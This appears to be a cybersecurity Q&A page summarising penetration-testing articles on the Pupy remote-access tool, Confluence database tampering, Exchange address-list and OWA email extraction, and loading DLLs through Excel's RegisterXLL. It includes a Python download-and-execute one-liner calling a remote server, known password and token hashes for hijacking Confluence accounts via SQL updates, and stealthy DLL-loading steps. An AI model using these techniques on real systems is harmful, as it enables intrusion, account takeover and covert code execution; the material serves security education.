Cybersecurity Q&A
Browse concise answers derived from our published, source-linked cybersecurity coverage.
What connection methods does Pupy support on Windows?
Pupy supports four connection methods: `bind` (forward connection using a local port), `auto_proxy` (automatic proxy discovery via registry, WPAD, Gnome settings, or HTTP_PROXY environment variable), `dnscnc` (DNS-based command and control, currently untestable), and `connect` (default reverse connection to the server). These methods provide flexibility for different network environments and are configurable in Pupy's transport settings, as explained in the [Pupy Exploitation Analysis - Features on Windows Platform](/news/pupy-exploitation-analysis-features-on-windows-platform) article.
How does the `py_oneliner` payload work and what is its advantage?
The `py_oneliner` payload generates a Python one-liner that downloads and executes code from a remote server using the `urllib` library. For example: `python -c 'import urllib;exec urllib.urlopen("http://192.168.1.1:9000/a0py9Yz5pi/Sg11A11q2J").read()'`. Its advantage is that no file is written to disk, minimizing forensic traces, and the Python code remains in memory. This technique is part of Pupy's stealth execution capabilities, similar to methods described in [Penetration Techniques - Stealth Execution of Windows Remote Assistance](/news/penetration-techniques-stealth-execution-of-windows-remote-assistance).
What are the supported payload file types generated by Pupy on Windows?
Pupy on Windows supports multiple payload file types including EXE (via `client`), fully packaged Python files (`py`), PyInstaller-compatible Python files (`pyinst`), PowerShell scripts (`ps1`), one-liner download-and-execute variants (`py_oneliner`, `ps1_oneliner`), Rubber Ducky scripts (`rubber_ducky`), C# files (`csharp`), .NET assemblies (`.NET`), and in-memory .NET loading via PowerShell (`.NET_oneliner`). Each type is tailored for different execution environments and stealth requirements, as detailed in the [Pupy Exploitation Analysis - Features on Windows Platform](/news/pupy-exploitation-analysis-features-on-windows-platform) article.
How can Personal Access Tokens (PATs) be exploited in Confluence, and what SQL command is used?
Personal Access Tokens allow passwordless login to Confluence. If an attacker gains database access, they can modify the `HASHED_TOKEN` column in the `AO_81F455_PERSONAL_TOKEN` table to a known token hash, such as `{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/` (corresponding to token `MjE0NTg4NjQ3MTk2OrQ5JtSJgT/rrRBmCY4zu+N+NaWZ`), using an UPDATE SQL command. This method enables persistent unauthorized access and is covered in the database exploitation section of the [Confluence Usage Guide](/news/confluence-usage-guide).
Where are Confluence user credentials stored, and how can an attacker modify them to gain unauthorized access?
User credentials are stored in the `CWD_USER` table within the Confluence database. An attacker with database access can modify the `credential` column to a known hash, such as `{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm` (which corresponds to plaintext password `123456`), using an UPDATE SQL command. This technique is an exploitation approach described in the [Confluence Usage Guide](/news/confluence-usage-guide) and is similar to other database-level attacks seen in vulnerability debugging setups like [GoAnywhere MFT](/news/setting-up-goanywhere-managed-file-transfer-vulnerability-debugging-environment).
How do you set up a Confluence environment on Linux, and what are the key database configuration steps?
Setting up Confluence on Linux (e.g., CentOS 7) involves installing PostgreSQL, configuring the database, and then running the Confluence installer. Key steps include modifying `/var/lib/pgsql/13/data/pg_hba.conf` to set METHOD to trust and allow other IPs (0.0.0.0/0), and setting `listen_addresses = '*'` in `postgresql.conf`. After restarting PostgreSQL, you create a database user (e.g., `confluenceuser`) with `createdb` and login privileges, and a database named `confluence` with UTF-8 encoding. These steps are detailed in the [Confluence Usage Guide](/news/confluence-usage-guide).
What is Confluence and why is it significant from a cybersecurity perspective?
Confluence is a professional enterprise knowledge management and collaboration software used to build enterprise wikis. From a cybersecurity perspective, it is significant due to vulnerabilities like [CVE-2021-26084](/news/confluence-usage-guide), a Confluence Server Webwork OGNL injection that can allow attackers to exploit the platform. Understanding Confluence's environment, such as its database and user configuration, is crucial for both securing deployments and researching vulnerabilities, similar to analyzing flaws in other enterprise tools like [Password Manager Pro](/news/password-manager-pro-vulnerability-debugging-environment-setup) or [F5 BIG-IP](/news/f5-big-ip-vulnerability-debugging-environment-setup).
What are some methods to disable or restrict access to the Exchange GlobalAddressList, and why might an organization want to do this?
Administrators can disable the GlobalAddressList by modifying address list permissions, removing the list from the Offline Address Book, or using the Exchange Admin Center to hide users from the address list. Organizations may disable it to reduce information leakage during [penetration techniques](/news/penetration-techniques-methods-to-obtain-exchange-globaladdresslist) or to comply with data privacy requirements. More advanced techniques include restricting MAPI over HTTP and disabling OWA address book access, though these settings must be carefully balanced against user functionality.
Why is iterating through search criteria necessary when using the ResolveName operation in Exchange 2010 to obtain the full GlobalAddressList?
The ResolveName operation returns a maximum of 100 results per query, which is insufficient if the address list contains more users. To overcome this limitation, the search criteria must be crafted so each query returns fewer than 100 results. A common workaround is to use all 26×26 combinations of two letters (aa, ab, … zz) as search strings, covering the entire address list through multiple queries. This approach contrasts with the FindPeople operation available in Exchange 2013+, which can handle larger result sets but still requires iterating through individual letters a–z to bypass the requirement for a specific search string.
How can you extract the GlobalAddressList using the Offline Address Book (OAB) method, and what tool is needed to decode the downloaded file?
First, read the Autodiscover XML to obtain the OABUrl, then fetch the OAB file list (oab.xml) to locate the LZX file corresponding to the Default Global Address List. Download that LZX file and decode it using the `oabextract` tool to produce an OAB file, from which email addresses can be extracted with `strings gal.oab | grep SMTP`. This technique works even without direct Exchange server access, as long as Autodiscover is exposed.
What are the main methods to extract the Exchange GlobalAddressList during penetration testing, and which one requires only an NTLM hash instead of plaintext credentials?
The main methods include Outlook Web Access (OWA), Exchange Web Service (EWS) using FindPeople or ResolveName operations, Outlook client protocols such as MAPI over HTTP or RPC over HTTP, the Offline Address Book (OAB), and LDAP queries against the domain controller. The EWS method also supports using an NTLM hash (via [Pass the Hash with Exchange Web Service](/news/penetration-techniques-pass-the-hash-with-exchange-web-service)) in tools like the ewsM Python script, whereas most other methods require plaintext passwords.
What is the purpose of the Jscript code that checks for the existence of the Microsoft Office installation folder before downloading and loading the DLL?
The check ensures the exploit only runs on systems where Excel is installed, avoiding unnecessary errors or revealing intent on non-Office machines. The Jscript uses `Scripting.FileSystemObject` to test if `c:\Program Files\Microsoft Office` exists, prints a message, and only proceeds with download and registration if the folder is found. This adds a layer of reliability as described in the POC testing section of the article.
How does this technique relate to other exploitation methods for loading DLLs or assemblies, such as Java JNI or .NET Assembly.Load?
This method is conceptually similar to other code-loading techniques like [Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (Assembly.Load)](/news/analysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-assembly-load) and [Java Exploitation Techniques – Loading DLL via JNI](/news/java-exploitation-techniques-loading-dll-via-jni), where an application's API is abused to load and execute arbitrary code. The key difference is that RegisterXLL() relies on Microsoft Excel's legitimate functionality, making it stealthy for Office environments.
What specific challenges arise when using rundll32 with RegisterXLL() to load a remotely downloaded DLL, and how are they overcome?
Under rundll32, `WScript.CreateObject` is unsupported and must be replaced with `new ActiveXObject`. Also, saving binary files via `Scripting.FileSystemObject` fails, so a workaround encodes the DLL as base64, saves it as text, and later decodes it. To avoid pop-ups, `document.write();` is added. These adjustments are detailed in the [article's extended usage section](/news/use-excel-application-objects-registerxll-method-to-load-dll) to ensure silent execution.
Can you explain how to combine remote DLL download with RegisterXLL() using JScript or PowerShell, and why the Recent directory is used?
JScript code uses `WinHttp.WinHttpRequest.5.1` and `ADODB.Stream` to download a DLL from GitHub, then saves it to the Recent directory (`%AppData%\Microsoft\Windows\Recent`) for better concealment—explorer.exe does not display files in that directory. The PowerShell equivalent uses `System.Net.WebClient` to download and then calls `$excel.RegisterXLL()` to load it. The full JScript example in the article checks for Office installation first and then proceeds with download and execution.
How does the RegisterXLL() method of the Excel.Application object work for loading DLLs, and what prerequisites are needed?
The RegisterXLL() method loads a DLL into the Excel application's process, effectively executing its code. This technique requires Microsoft Office (Excel) to be installed on the system and works with any DLL that exports the required XLL interface. The [article](/news/use-excel-application-objects-registerxll-method-to-load-dll) demonstrates this via rundll32, JScript, and PowerShell, with a test DLL like a simple messagebox.
How can I read the full content of an email and download its attachments via the OWA command-line interface?
Use the `GetConversationItems` action by sending a POST to `/owa/service.svc?action=GetConversationItems` with the `ConversationId` obtained from the listing step. The JSON response includes the email body, metadata, and attachment details (Id and ContentType). For downloading attachments, you will need to make subsequent requests (not detailed in this snippet) using the attachment IDs. This command‑line implementation is analogous to other remote execution techniques described in [Domain Penetration - Remote Execution via Scheduled Tasks in GPO](/news/domain-penetration-remote-execution-via-scheduled-tasks-in-gpo-command-line-implementation-principles-and-script-details) and [Penetration Basics - Implementation of Webshell Supporting NTLM Over HTTP Protocol](/news/penetration-basics-implementation-of-webshell-supporting-ntlm-over-http-protocol), all of which rely on crafting HTTP requests with proper session management.
How do I list all emails in an OWA folder and obtain their ConversationId?
After authentication, send a POST request to `/owa/service.svc?action=FindItem` with a JSON body that specifies the folder name (e.g., `inbox` or `sentitems`) and sets `MaxEntriesReturned` to a high value like 999999. The response JSON contains an array of email items, each including a `ConversationId` – a unique identifier needed to later fetch the full content of that email. This method is similar in concept to reading emails via the IMAP protocol, but tailored to OWA’s proprietary API as explained in [Penetration Basics - Reading Emails Using the IMAP Protocol](/news/penetration-basics-reading-emails-using-the-imap-protocol).
What authentication method does OWA use, and why is it important for penetration testing?
OWA only supports plaintext password login; NTLM hash authentication is not accepted for the web interface. This means attackers who capture a user’s password (e.g., through phishing or keylogging) can directly access OWA, whereas hash‑based attacks like pass‑the‑hash require alternate protocols such as those used in [Domain Penetration - Remote Execution via Scheduled Tasks in GPO](/news/domain-penetration-remote-execution-via-scheduled-tasks-in-gpo-command-line-implementation-principles-and-script-details). The login process sends a POST to `/owa/auth.owa` and returns the critical `X-OWA-CANARY` token in the response cookie.
How can I read Exchange emails via OWA from the command line for penetration testing?
You can achieve this by writing a Python script that mimics the OWA web interface through HTTP requests. The process involves authenticating with a plaintext password, using the returned session cookie (including X-OWA-CANARY) to send JSON payloads to specific OWA endpoints like `FindItem` and `GetConversationItems`. This approach is detailed in the article [Penetration Basics - Command Line Implementation for Reading Exchange Emails via Outlook Web Access (OWA)](/news/penetration-basics-command-line-implementation-for-reading-exchange-emails-via-outlook-web-access-owa), which also provides open‑source code on GitHub.